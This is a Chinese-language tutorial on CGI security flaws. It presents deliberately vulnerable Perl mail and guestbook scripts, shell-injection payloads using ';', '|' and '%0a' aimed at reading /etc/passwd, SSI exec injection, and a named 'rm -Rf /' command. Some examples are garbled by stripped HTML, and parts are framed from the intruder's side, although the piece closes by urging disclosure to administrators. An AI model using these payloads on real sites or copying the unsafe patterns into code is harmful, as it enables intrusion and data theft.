CGI简介 CGI程序是安全隐患的主要来源.在一个典型的站点中,服务项目和配置文件可能 都很安全,但是如果CGI程序在应用以前没有经过认真的检测,常常会造成严重的 安全漏洞. CGI基础 "CGI"的意思是"Common GateWay Interface'.GGI是一种方法,它为程序提供一种 在服务端执行的机制(比如用户在客户端的输入),和执行完成以后在客户端结果 的回显(也许是登陆服务器以后的接续操作).CGI可以用很多种语言来编写,但是 最普遍的是用Perl.Perl对于处理字符型表单得心应手,因此它是许多CGI程序开发 者的首选.通常我们所说的"CGI Script"实际上就是指的"Perl Script". CGI程序的安全隐患 举例来说,很多因素使得CGI程序能被自由的利用.如果你从某站点下载了一段 perl scripts,也许你没经过任何思索就加以利用,并且希望它没有任何BUG.这 也许是时间和本人的水平问题.大多数人并没有充足的时间和足够的知识去将 一段5000行的公告版代码逐行检查以期发现一个可能招致攻击的漏洞.一些大 型的,专业的script包最近也被发现存在安全漏洞. 预备 如果你知道一个站点使用的script,并且它是自由获得的,那还说什么呢?先取得 程序,在你自己的机器上运行,审查代码,也许你就能很容易地发现一些漏洞.而且 你的行动也不会被管理员发现. 攻击方法 不安全的shell调用 很多语言都能写CGI程序,但是最普遍的是Perl.如果程序没有认真地检测用户输入 的合法性,那么一个怀有恶意的用户就能使程序的执行具有一定的危险性. 我们来讨论下面这个例子:有一个著名的 "邮件" script,它的主要任务是把访问 者填写的表单发送到webmaster的邮箱. -- vuln1.html - The submission form -- Thankyou for visiting my site. Please submit your comments and suggestions here: -- EOF -- -- vuln1.pl - The vulnerable perl script -- #!/usr/bin/perl # Output will be an html page print "Content-type: text/html\n\n"; # Get input from form into the @pairs array @pairs = split(/&/, $ENV{'QUERY_STRING'}); # For each name/value pair in the array foreach $pair (@pairs) { # Split the pair into their own variables ($name, $value) = split(/=/, $pair); # Convert the form-encoding back $name =~ tr/+/ /; $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $value =~ tr/+/ /; $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; # Store the destination email address and comments in variables if ($name eq "address") { # Store the destination email address $address = $value; } elsif ($name eq "comments") { # Store the comments $comments = $value; } } # At this point $address holds the address specified on the form, and # $comments holds the user's comments. # --- "Active" part # See discussion for details of this part open(MAIL,"| /bin/mail $address"); print MAIL "$comments"; close(MAIL); # --- End of "active" part # Print output for the user print Thanks for your comments :) EOT-- EOF -- 以上这个例子包括两段程序.Html段负责提交用户的输入,并且也是易受攻击的. 如果你不了解Perl那么你也没必要知道他的原理.你只要知道目的Email地址 (就是在html页面被指明为hidden的元素)和你输入的内容(根据textarea的输入) 被保存,然后在"active"部分向"邮件"程序提交就可以了. 在Perl程序中,open函数的用处打开文件,但是这里更重要的是管道符.在这句话 中,指向命令"/bin/mail webmaster@vulnerable.com"的管道被打开,你在Html 页面填写的内容被发送到了指定的webmaster的邮箱中去了. 看看发生了什么? "/bin/mail webmaster@vulnerable.com"命令是由你在html 页面提交表单时激活的.如果一个恶意的用户在本地保存并改装了表单如下: to these: 注意:如果html页面没有驻留在服务器,你必须在"action"中填写完整的URL 现在,提交的Email地址被改成了你自己的Email地址,你的提交内容也就发送 到了自己的Email里去了. 如果你如下改装表单,试想会发生什么? value="hacker@root.com;mail hacker@root.com 在script程序中,这样的Email地址将被解析为: /bin/mail hacker@root.com;mail hacker@root.com (注意:这里我虽然用 /etc/passwd,但是这仅仅是个说明原理的举例.现在大多 数系统的passwd文件对于入侵者来说都不会包含有效的密码信息) 如果你发现script程序过滤";",你可以试"|"符号,或者用"\n"来换行,这样做的 目的是重新运行命令按你的意图执行.记住:使用"|"将使第一条命令的输出回传 给第二命令,并且,在web上发送换行符你需要用到的是"%0a".于是,地址部分现在 变成了: value="hacker@root.com%0amail hacker@root.com SSI的危险应用 SSI的意思是"Server Side Includes".SSI是一些能放在html中的,被服务器解析的指令.这些页面通常都支持扩展的.shtml(或者更底的版本),不过这还是要看服务器的设置.有些服务器对所有的html都解析.应该包括下面这种形式的表单: "". 这里有一些例子: Prints the current date Includes a common header section Displays the system's uptime 如果你可以让服务器解析你自己写的SSI,那么你就能够执行命令和其他的一些动作了.很多CGI程序都没有考虑这些东西.比如这里有一个例子: -- vuln2.shtml - A public comments page -- Thankyou for visiting my site. Please submit your comments and suggestions here: Here's what other people have had to say: -- EOF -- -- vuln2.pl - The vulnerable perl script -- #!/usr/bin/perl # Define the location of the page to be updated # Change this to the location of vuln2.shtml if you're trying this out $pagename = "/home/web/html/vuln2.shtml"; # Print content-type header print "Content-type: text/html\n\n"; # Get input from form into the @pairs array @pairs = split(/&/, $ENV{'QUERY_STRING'}); # For each name/value pair in the array foreach $pair (@pairs) { # Split the pair into their own variables ($name, $value) = split(/=/, $pair); # Convert the form-encoding back $name =~ tr/+/ /; $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $value =~ tr/+/ /; $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; # Store the comments in a variable if ($name eq "comments") { # Store the comments $comments = $value; } } # At this point $comments holds the user's comments. # Separate each comment in the output file $comments .= "\n \n"; # --- "Active" part # Open the file for read/write open(FILE,"+; # Search through the array and insert the comments just before the # line $linenum = 1; foreach $line (@list) { if ($line =~ /^/) { $linenum--; splice(@list, $linenum, 0, $comments); last; } $linenum++; } # Write the array back to the file seek(FILE,0,0); truncate(FILE,0); foreach $line (@list) { print FILE $line; } # Close the file close(FILE); # --- End "active" part # Print output for the user print Thanks for your comments. Click here to return to the comments page :) EOT -- EOF -- 这里的两段代码其实是一个简单的留言板.你可以发现.shtml文件用SSI来显示页眉和页脚.当我们浏览网页的时候,SSI所指向的代码将会被执行.注意在.shtml文件中用 标记的地方,其后的内容都将被认为是SSI指令而执行,每条指令都是以 然后,等你回到页面上,你就可以看到你所需要的密码文件了.:-) (注意:密码文件可能是很长的一行文字--这是因为html没有在该换行的时候插入换行符.你可以从浏览器的"查看源文件"来查看). 这一切都是我们所希望的,但是,很多服务器都屏蔽了exec指令来防止这类攻击.在以上的例子中,你最多能做到的就是用include指令来取得一个你所知道路径的文件内容.象密码文件对于你的当前权限来说可能不可访问.注意有的文件(比如CGI scripts)不会因为include调用而暴露它们的源码.从入侵者的角度来看,include指令的价值并不是很大,如果不能exec,那你能做的就更有限了. 缓冲区溢出 这是针对C写的CGI程序的.如果CGI程序没有验证用户输入的合法性,那么一 个恶意的用户就能利用缓冲区溢出漏洞在服务器上执行其他的代码.因为缓冲区溢出的问题超出了这篇文章的主题,我就不做详细说明了,但是得到这方面的资料对于任何想要做更深入了解的人都不是一件难事. 你可以做些什么 首先,不要立刻拿出 rm -Rf/命令.如果你注意到我说的,对站点的破坏是很可耻的行为.另外,你也应该清楚自己所做是否合理.记住,如果连你自己都不知道你该做什么,而你却干出了一些愚蠢的事情,你可能很容易被抓住.你应该做的是将你发现的漏洞通过邮件告诉系统管理员--如果他们称职的话他们就应该修补这个漏洞,如果被你发现漏洞的CGI程序广泛存在,那么你应该把它告诉CGI程序的开发者,以便在以后的版本中不再出现,和向现存的用户发出警告. 注意 在这篇文章中,我使用了Unix作为例子.我在此讨论的大多数方法同样适用于NT和 其他的平台. 在这里我以Perl scripts作为例子.如果你并不了解perl,那么你只要注意到标识 了"active"的部分,因为这些是真正包含了对于你来说可以利用的代码. 如果你在测试中遇到了一些困难,请注意,你的路径设置是否正确;使用chmod 755 命令使你的CGI Scripts可执行;在每个Script的第一行是否包括了perl正确的编译路径;在SSI的例子中,你有必要使用到chmod vuln2.shtml 777命令. 这些只是一些简单的例子.很多时候需要你自己做一些分析和测试的工作来发现问题. |